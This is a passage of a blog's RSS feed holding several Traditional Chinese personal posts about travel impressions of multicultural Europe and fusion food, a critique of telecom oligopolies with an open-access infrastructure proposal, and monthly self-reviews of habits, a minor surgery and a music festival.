<figcaption class="text-center">甜點是用台灣碟子裝的鳳梨酥</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/the-sense-of-internationalized/zaoka-guabao.jpg"
      class="mx-auto my-0 rounded-md"
      alt="ZAOKA 刈包"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center"><a href="https://goo.gl/maps/K2M148H6x6GMP1er9" target="_blank" rel="noreferrer">灶咖 ZAOKA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 融合法式料理創意的台灣刈包</figcaption>
</figure>
</p>
<h2 id="-npc-的多元性" class="relative group">🌈 NPC 的多元性 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/the-sense-of-internationalized/trocadero.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Trocadéro 廣場"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>去年的法國交換，有經過 Trocadéro 廣場，這個廣場位於塞納河右岸的高地，左岸就是艾菲爾鐵塔，所以是很多死觀光客會來拍照的景點。那時候對鐵塔沒什麼驚艷的感覺，但是坐在廣場邊吃可麗餅的時候才漸漸產生一種，好像全世界的人都聚集在這裡的感覺。</p>
<p>就是左邊有一群中國人在拍照，右邊有一群印度媽媽牽著三個小孩跑來跑去，遠方可以看到黑人在跳舞，旁邊就是東京宮，所以日本人也少不了。而且時不時路過一群路人在聊天的時候，會發現我明明已經去過蠻多地方，見過蠻多不同地區的人，但我卻還是沒辦法靠外表、穿著、口音甚至語言來猜他可能來自哪裡。</p>
<p>後來有次我在倫敦的地鐵上，看到有英國上班族在教對面的穆斯林怎麼搭地鐵，這所謂「國際化」的感受就會很突然的湧上來。</p>
<h2 id="-飲食文化大熔爐" class="relative group">🥑🍣 飲食文化大熔爐 </h2><p>就像披薩是發源於義大利，但在台灣當我們講到披薩的時候，我們腦中浮現的披薩，可能往往是像必勝客或達美樂那種鬆厚餅皮的美式披薩，就算不討論鳳梨到底能不能放在披薩上，最正統的義大利披薩其實更接近薄餅。</p>
<p>在歐洲的期間，也目睹到了一些神奇的食物。除了上面影片提到僅次於印度最棒的印度餐廳外，另一個例子是壽司。</p>
<p>我在從曼徹斯特要前往倫敦的火車發車前，就在車站隨手買了一盒綜合壽司。迫於當時時間太趕了，我沒有認真看我到底買了什麼，直到上車才發現，這壽司中間綠色的部分不是小黃瓜，而是酪梨，我腦子裡馬上出現一個日本人出來：「え~~~~~」。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/the-sense-of-internationalized/avocado-sushi.jpg"
      class="mx-auto my-0 rounded-md"
      alt="酪梨壽司"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Yo Sushi 賣的酪梨壽司</figcaption>
</figure>
</p>
<p>去過日本這麼多次，我還真沒看過酪梨壽司。我也是到後來才知道原來有一種壽司叫做<a href="https://en.wikipedia.org/wiki/California_roll" target="_blank" rel="noreferrer">加州卷<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，但其實我還是不知道怎麼分辨花壽司和加州卷 XDDDDD</p>
<p>總之，就像我在泰國待了 20 天都沒吃到月亮蝦餅，在台灣活了 20 幾年也沒聽過<a href="https://zh.wikipedia.org/wiki/%E5%8F%B0%E7%81%A3%E6%8B%89%E9%BA%B5" target="_blank" rel="noreferrer">台灣拉麵<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，飲食本來就是一種很容易<del>突變</del>演化的文化，所以從那之後，旅行除了嘗試當地料理，我也會稍微觀察一下當地提供的異國料理是長什麼樣子。</p>
<h2 id="-下集待續" class="relative group">🎬 下集待續 </h2><p>突然發現有好多可以寫的點哦，那我們<a href="/zh-tw/posts/the-sense-of-internationalized-2/">下集</a>見！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">the-sense-of-internationalized</guid><pubDate>Sun, 23 Apr 2023 15:10:14 +0700</pubDate></item><item><title>電信業的困境解方</title><link>https://blog.tomy.me/zh-tw/posts/monopolized-telecom-dilemma-solution/</link><description>事發總有個原因，解方總要人來提 (X)</description><content:encoded><![CDATA[<p><a href="/zh-tw/posts/monopolized-telecom-dilemma/">前一篇</a>提了問題，這一篇來寫寫我的解方</p>
<h2 id="單一化基礎建設" class="relative group">單一化基礎建設 </h2><p>去年去歐洲交換的時候，有關注到歐盟正在推動<a href="https://www.sncf.com/en/group/profile-and-key-figures/about-us/opening-up-to-competition" target="_blank" rel="noreferrer">開放各國鐵路的營運<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> (Open-access)，目的跟當時開放電信業大同小異，開放市場自由競爭，終結國家壟斷的問題。</p>
<p>常去日本玩的人可能會馬上聯想到，那不就是私鐵嗎？這就要講到歐洲 Open access 最大的特色：開放的是市場，而不是基礎建設。在日本，絕大多數的私鐵都是由財團自己取得用地、鋪設鐵路、假設號誌系統&hellip;&hellip;等等一路包辦到最終旅客運營及車票銷售。歐洲的作法是把各國的國有鐵路企業拆分成兩部分，一部分是負責基礎建設 (既有的鐵路、號誌、車站)，這部分會繼續由國家持有，另一部分則是負責終端的運營 (包含客運及貨運)，這部分則會民營化。</p>
<p>在這個框架下，鐵路管理機構會統包全國的鐵路建設、推動技術的更新、制定統一規格、延續各項設施的相容性。而在終端運營的部分，任何有興趣經營鐵路業務的企業都可以自行向車輛製造公司購買列車 (甚至低價購入別人的舊列車也是一種做法)、向管理機構申請運營某一路線、自己銷售車票或服務。有點像現在很多網路新創公司開發新服務不需要自己管理伺服器，需要的時候再向資料中心租用就好了，他們可以<strong>完全把心思放在自己的核心業務</strong>。</p>
<p>同樣的作法，在我看來其實也可以套用在電信業：由國家的電信管理局統一建設通訊基礎建設，電信公司只需要負責<em>租用</em>他們需要的寬頻量來提供給用戶就好了。這有兩個好處：</p>
<h3 id="建設效率" class="relative group">建設效率 </h3><p>因為電信管理局是全國唯一的建設單位，他們可以有效的集中、分配資源到現在最需要建設的地方。另外，因為相對不會被獲利追著跑、管理局也可以也可以透過增加跟學術界的合作，來加速新技術的落地。</p>
<h3 id="活化市場供需" class="relative group">活化市場供需 </h3><p>在電信公司的這一端，少了基礎建設這個重大的負擔，企業可以透過預測使用需求，來決定要在何時何地租用多少的寬頻，在降低成本的同時維持服務的水準。而且作為直接面對終端用戶的第一線，更能夠去分析使用者場景，並適時開發以前沒有的服務組合來滿足用戶的需求。</p>
<h2 id="misc" class="relative group">Misc </h2><p>上面這個目標有點遠大，而且實際上經不經得起市場考驗我也不知道，所以來聊聊其他可行性高一點的創意好了。</p>
<h3 id="跨國方案" class="relative group">跨國方案 </h3><p>去年在法國交換的時候，我辦了一個 Orange 的門號，一個月 €15，不綁約，我在回台灣的前一個晚上打一通電話去取消，之後就沒再被扣到錢了。通話和簡訊因為基本上用不到所以我也不記得了，網路的部分是 4G 的速度，每個月有 70 GB 的流量，最厲害的來了：<strong>流量是全歐洲通用的，不另外收費</strong>。</p>
<p>所以我用這個方案走遍了 9 個歐洲國家，每個月都還是只要付 €15，現在想想可能是我在歐洲最划算的一筆消費。 (亞洲人認證的划算 XDDDD</p>
<p>如果你有仔細觀察<a href="/zh-tw/posts/monopolized-telecom-dilemma/#-舉幾個例子">我上一篇舉的例子</a>，你可能會發現上面少了一個重要的<del>列強</del>國家：🇬🇧 英國。</p>
<p>英國最大的電信商是 Vodaphone，這間電信商大到幾乎稱得上是集團了，除了英國本土之外，還經營了<a href="https://zh.wikipedia.org/wiki/%E6%B2%83%E8%BE%BE%E4%B8%B0#%E6%A5%AD%E5%8B%99" target="_blank" rel="noreferrer">橫跨全球五大洲這麼多的電信網路<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，所以在絕大多數的國家，數據量是和本國使用合併計算的 (跟上面 Orange 的方案一樣，只是適用的國家更多)，而就算是在沒有合作的國家 (比方說台灣：）)，<a href="https://www.vodafone.co.uk/mobile/global-roaming" target="_blank" rel="noreferrer">國際漫遊價格仍然十分低廉<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>現在正值疫情解禁開放、499 之亂第二波到期，如果我是遠傳或是台灣大哥大，我就會去找日韓的電信商談合作，讓月租型用戶出國免費使用當地網路。</p>
<h2 id="總結" class="relative group">總結 </h2><p>電信產業有其特殊性，作為國家關鍵基礎建設的一部分，經營是相對受限的，但和水、電等其他公營事業比起來，電信產業還是需要創新的，只可惜這個議題似乎不怎麼被公眾關注。</p>
<p>反正上一篇也說，現在這樣是死不了的，那這篇就當作是我無病呻吟吧 🍵</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>英國用戶在台灣漫遊的價格是一天 £6.85，相當於 NT$260。做為對照，台灣提供最便宜的日租型國際漫遊是一天 NT$298，而且僅限常見的旅遊國家。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">monopolized-telecom-dilemma-solution</guid><pubDate>Mon, 17 Apr 2023 15:34:00 +0700</pubDate></item><item><title>電信業的困境</title><link>https://blog.tomy.me/zh-tw/posts/monopolized-telecom-dilemma/</link><description>打造促進創新的環境真的很難</description><content:encoded><![CDATA[<p>前幾天出發來泰國前，在研究要買哪一家的 SIM 卡，發現了一個現象：</p>
<blockquote>
<p>一個國家最大的電信商，前身幾乎一定是國營的，再不然就是最早開業的電信商。</p>
</blockquote>
<h2 id="-舉幾個例子" class="relative group">🌰 舉幾個例子 </h2><ul>
<li>🇹🇼 台灣：中華電信 (國營事業民營化)</li>
<li>🇯🇵 日本：NTT (國營事業民營化)</li>
<li>🇺🇸 美國：AT&amp;T (最早開業，特許壟斷)</li>
<li>🇫🇷 法國：Orange (國營事業民營化)</li>
<li>🇩🇪 德國：Deutsche Telekom (國營事業民營化)</li>
<li>🇳🇱 荷蘭：KPN (國營事業民營化)</li>
<li>🇹🇭 泰國：AIS</li>
<li>🇻🇳 越南：Viettel (越南國防部控制)</li>
</ul>
<h2 id="-理想" class="relative group">💭 理想 </h2><p>每個國家的劇本，其實都差不多：政府出資成立第一間電信公司，或是特許某一間為唯一的電信商，然後在 1980 年代前後伴隨電信業開放，這些電信公司會經歷一連番的改組、民營化或是私有化，期許市場能夠有不同的氣象。</p>
<h2 id="-現況" class="relative group">💬 現況 </h2><p>然後 40 年過去了，即便多數國家現在多了幾個電信業者，但幾乎就是分分合合。它們在市場上扮演一個十分尷尬的角色，負責提高整個業界最低的底線。最大的電信上本著自身全國遍佈最廣的通訊基礎設施，只需要拿出大約 60 分的表現，在其他家電信業者出招的時候，即時把護城河上的洞補起來，就可以鞏固現有的客戶群 (實際上沒那麼糟啦，但概念上是這樣)。所以剩下的兩三家，就淪落到只能平分剩下的市場。</p>
<h2 id="-問題" class="relative group">❓ 問題 </h2><p>你可能會好奇，既然市場沒有被單一巨頭壟斷，業者自由競爭，消費者可以自行選擇喜歡的電信商，獲得價格低廉品質不錯的服務，那這樣有什麼不好嗎？</p>
<p>我認為現況頂多就是及格，但距離理想的狀態，其實還有很長的一段距離。</p>
<h3 id="寡頭壟斷" class="relative group">寡頭壟斷 </h3><p>台灣最近歷經了台灣大哥大併購台灣之星、遠傳併購亞太電信，種種跡象都已經證明，台灣的電信市場其實沒有空間容納超過 3 間電信公司。最初我們開放電信業就是希望能夠終止單一壟斷的局勢，來促進創新，如今雖然沒有單一壟斷，但電信業還是把持在少數的幾間電信公司手上。在我看來，寡頭壟斷，跟單一壟斷其實並沒有太大的區別。</p>
<p>去年台灣<a href="https://finance.ettoday.net/news/2284779" target="_blank" rel="noreferrer">各大電信業者成立了電信消費爭議處理中心<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，如果最後只剩下兩三間電信公司主持，我們將會很難避免出現各業者私下利益交換，罔顧消費者權利的情形發生。</p>
<h3 id="市場效率" class="relative group">市場效率 </h3><p>同前一個章節提到的，市場沒有很大，但就算是台灣，要做到收訊可以大面積覆蓋，還是要投入非常大量的資金和人力，而所有業者卻要各自努力去達成，更進一步的後果就是，整個業界有非常大量的人才和人力沒有辦法投入創新，這其實非常的沒有效率。</p>
<h2 id="小結" class="relative group">小結 </h2><p>這篇拋出了問題，<a href="/zh-tw/posts/monopolized-telecom-dilemma-solution/">下一篇</a>再來討論一下該怎麼解決。</p>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">monopolized-telecom-dilemma</guid><pubDate>Mon, 10 Apr 2023 22:46:27 +0700</pubDate></item><item><title>2023 年 3 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-march-dump/</link><description>我真的太難了我</description><content:encoded><![CDATA[<p>這個月基本上沒太大進展，我覺得可以歸咎於兩大原因</p>
<h2 id="-agile-lifestyle" class="relative group">🏃🏻 Agile Lifestyle </h2><p>我在年初的時候訂下了今年的目標，然後把這些目標切成很多小份的 tasks 然後以 2 個星期為單位開始跑 Scrum。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-march-dump/scrum-template.png"
      class="mx-auto my-0 rounded-md"
      alt="Scrum 模板"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>每個週期開始前，我會複製上面的模板，然後決定好這個 Scrum 確切要執行的細節。成效呢，統計面上大約有 60%，實際上我自身感覺要再更低一點 (畢竟每個 task 的份量其實不太一樣)。甚至再退一步說，我光是填入這個模板，幾乎就要花一個下午的時間。</p>
<p>另外當我開始追著這些東西跑的時候，雖然本來就有預期會少一些時間寫 code，但是我沒預料到排擠的效應會這麼重，最終導致我的很多 side projects 全部都開始長灰塵，甚至有些在跑的系統根本就已經下線了。</p>
<p>最後就是，剛開始放假的前一兩個月我當然可以靠熱情來衝這些目標，但久了當然就很容易疲乏，我甚至到後期一點都沒有放假到的感覺。</p>
<p>結論就是：這個小實驗可以說是，徹徹底底的失敗了 QQQQQQQQ</p>
<h2 id="-小手術" class="relative group">❤‍🩹 小手術 </h2><p>3 月的中下旬我去動了一個小手術。原本預期手術的副作用不會太嚴重，但實際上我嚴重低估，基本上除非跟朋友有約飯局，不然我基本上就是待在家，完全不想出門，甚至在家有超過 8 成的時間也是躺著，根本沒有心思動腦，連看書都很容易分心。</p>
<h2 id="-大港開唱" class="relative group">⚓ 大港開唱 </h2><p>幸好過了 2 個禮拜，症狀總算稍微舒緩一點。雖然還是會有點不舒服，但至少可以讓我去大港跑跑跳跳兩天：）</p>
<p>原本這裡有寫我看了哪些團，但是因為重寫，所以這部分就算了，講重點就好：</p>
<ul>
<li>台灣通勤第一品牌：排場蠻屌的，但為了擠進去排 1 個半小時好像不太划，看重播好像差不多</li>
<li>閃靈：不知道聽了三小，但看一看名場面，撒撒冥紙挺好玩的 XDDDDD</li>
<li>靈魂沙發：彌補我浪人祭的遺憾，真的是創作和表演都強的團，推推</li>
<li>鄭宜農：以前聽還好，現場聽意外發現以前沒聽到的好歌，算是意外收穫</li>
<li>9m88 feat. 馬念先：最期待的團，不只唱了巴黎草莓和你朝我的方向走來，還找呱吉和何 A 打跆拳道，真的沒有辜負我的期待</li>
<li>李心潔 × 美秀集團：啊怎麼美秀只唱了 3 首</li>
<li>滅火器：好像沒有想像中精彩，就當是我期望放太高吧</li>
</ul>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-march-dump/angelica-lee-and-amazing-show.png"
      class="mx-auto my-0 rounded-md"
      alt="音樂祭的最大樂趣就是認識各種不同的音樂，尤其大港很重視世代的傳承"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">事後看到這篇<a href="https://www.facebook.com/dato.poplife/posts/pfbid0318LX2Qd7XQxevwmatRhzDetuobsxQK1aSnRYHuf5tKSG4EaacwPhjXMK8XHxZCanl" target="_blank" rel="noreferrer">轉貼<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，原來不是只有我這麼覺得，笑死 XDDDDDDDD</figcaption>
</figure>
</p>
<iframe src="https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Fdato.poplife%2Fposts%2Fpfbid0318LX2Qd7XQxevwmatRhzDetuobsxQK1aSnRYHuf5tKSG4EaacwPhjXMK8XHxZCanl&show_text=true&width=500" width="500" height="562" style="border:none;overflow:hidden" scrolling="no" frameborder="0" allowfullscreen="true" allow="autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share"></iframe>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><ol>
<li>❌ Blog 上架：原本預計電子報設定好就可以發布了，結果最後被 Google News 和 Mailchimp 卡住，就是怎麼樣都沒辦法正常運作，而且不知道從何修起。</li>
<li>❌ 記帳程式的前端：0。因為財政部的伺服器自從 3 月底開完獎就一直當機，所以我幾乎都把時間拿去新增發票 SDK 的自動重試功能了。</li>
<li>✅ AppShelf 記憶體爆量：修好了，但是還是沒有前端。</li>
</ol>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>如上個月的報報提到的，我 4 月來 🇹🇭 曼谷 longstay，後來發現曼谷飛 🇻🇳 胡志明市的機票蠻便宜的，所以計畫就改成曼谷和胡志明市各待 20 天左右，然後在母親節的週末回台灣。理論上我現在在曼谷就是一個人，所以沒有人會來煩我，我想出去玩就出去玩，想幹正事就幹正事，而且手術也恢復的差不多了，應該是會有一些不錯的進展，放假感也會比在台灣高一點。</p>
<p>我會在四月結束前離開曼谷，但是我希望我可以在這段期間達成下面這些目標：</p>
<ol>
<li>Blog 上架：電子報不管了，之後再修吧。</li>
<li>AppShelf 的前端：我的 Side Projects 很多現在都是沒有前端的狀態，這有很大一部分是因為，我對於現在網頁前端的各種工具有很多的不滿，難以闡述。總之，我前陣子被 YouTube 演算法推薦了 <a href="https://youtu.be/-n84EMKIXQM" target="_blank" rel="noreferrer">PicoCSS<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的介紹影片，讓我眼睛為之一亮，剛好這個 projects 比較小，很適合拿來試試看。</li>
<li>降低我的寫作摩擦力：之前讀原子習慣有說，培養習慣需要降低執行的摩擦力，這確實是我現在的困境。這個 blog 現在還充滿著一堆毛病，導致我經常寫一寫就要去修某個東西，我應該要仔細想辦法抽離這個狀態，至於具體要怎麼達成可能要想一下。</li>
</ol>
<p>飛往胡志明市之後提前開始寫 4 月的報報，總覺得到下個月的月初再寫好像還是怪怪的。</p>
<h2 id="-我投降" class="relative group">🏳️ 我投降 </h2><p>反正我現在就是覺得，一次培養很多習慣本來就很困難，像上個月報報寫完文章之後中間也沒其他文章。我覺得現在最重要的是先把寫作的習慣維持下來，也是為什麼我前面列出了要降低寫作摩擦力。至於其他的：</p>
<ul>
<li>料理：就算我還在台灣，跟家人一起待在廚房真的就是學不到任何東西，何況現在我人又來泰國了。反正人是餓不死的，我看如果我去美國有心要學，到時候學習的效果也不見得比在台灣差。</li>
<li>看書：本來想帶 2 本書來看，結果出門收行李太趕就真的忘了。我想這多少印證了我還沒有真心想培養這個興趣，但好的方面是我有開始建立一個想看的書單，也許回台灣會有機會再重啟這個目標吧。</li>
</ul>
<h2 id="後記" class="relative group">後記 </h2><p>如果你讀這篇文章覺得，用詞看起來有點不耐煩或是隨便，是因為我打了兩次。浪費了在曼谷的一天，真的是還不如出去逛逛。</p>
<p>第一次寫到大概 80% 還沒 commit，Dropbox 開始給我中猴，結果整個 blog 的本地副本整個壞掉，害我要重新 clone 下來重寫，之前還沒整理好的草稿也全都掰了，真的是淒淒慘慘戚戚，氣氣氣氣氣 💢💢💢</p>
<p>這個月沒幹什麼事打這篇就已經夠心酸了，還要我打兩次，真的是殺了我</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-march-dump</guid><pubDate>Mon, 10 Apr 2023 17:43:40 +0700</pubDate></item><item><title>2023 年 2 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-february-dump/</link><description>3 個字，頹廢到爆</description><content:encoded><![CDATA[<blockquote class="twitter-tweet" data-dnt="true"><p lang="en" dir="ltr">Happy last day pretending you know how to spell this month. <a href="https://t.co/oIY8X0DBCP">pic.twitter.com/oIY8X0DBCP</a></p>&mdash; Google (@Google) <a href="https://twitter.com/Google/status/1630587134380847104?ref_src=twsrc%5Etfw">February 28, 2023</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<figcaption>3 月第一天看到這條 Tweet 快被笑死</figcaption>
<p>1 月感覺過的挺充實的，感覺「新起點效應」有起到很大的作用，所以好像很多事情就算遇到一些小挫折，只要深呼吸硬幹過去，問題就會迎刃而解。但是這個紅利好像過完年之後就開始有點難延續了。</p>
<h2 id="-學料理" class="relative group">🍳 學料理 </h2><p>雖然到目前為止只寫了一篇文，但我還是有持續在下廚啦 XDDDDD。</p>
<p>目前的困難應該是我覺得跟著我媽下廚的問題很多，其實問題跟上個月寫的狀況差不多，只是那時候想的解決方案現在還沒有嘗試過。至於沒有嘗試的原因主要是，以前的話我只要找一天跟我媽去全聯採買，然後回家就照著他的指示做就好。但現在變成我要事先找時間研究一道料理，然後決定要買什麼食材，怎麼煮，這個工作量變的大很多，所以相對摩擦力又更大了一些。</p>
<p>煮完忘記拍照也是一個點。現在有很多篇文就是忘了拍照，就想說那等之後有做第二次拍完照再來發文，然後就沒有然後了。所以這個月修正一下目標應該是：一個禮拜下廚一次，一次兩道菜，一道新的，一道之前做過沒寫文章的。</p>
<p>前陣子突然在 GitHub 發現之前 Star 的<a href="https://github.com/Anduin2017/HowToCook" target="_blank" rel="noreferrer">程序员在家做饭方法指南<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，感覺會幫上不少大忙，之後實際翻完再來回報一下內容有沒有料。</p>
<h2 id="-看書" class="relative group">📖 看書 </h2><p>今年的第二本書其實比第一本還要薄，但是實際上看的時間比第一本長了不少，原因好像也跟我的習慣脫不了關係。我目前的閱讀時間大部分都是塞在我出去踏青的時候，比方說搭長途火車，或是去林安泰古厝，或是福隆的海邊。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-february-dump/reading-by-the-beach.jpg"
      class="mx-auto my-0 rounded-md"
      alt="福隆海水浴場"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">就這麼在福隆海邊看本書吧</figcaption>
</figure>
</p>
<p>換句話說，當我沒有那麼常出遠門的時候，看書的時間就會大幅的減少。閱讀現在對我來說感覺沒有那麼吃力了，但是如果要長久的維持這個習慣，我可能要把這個習慣漸漸的跟日常的生活綁定在一起。畢竟以後的生活也不可能像這樣可以想出去玩就出去玩咩。</p>
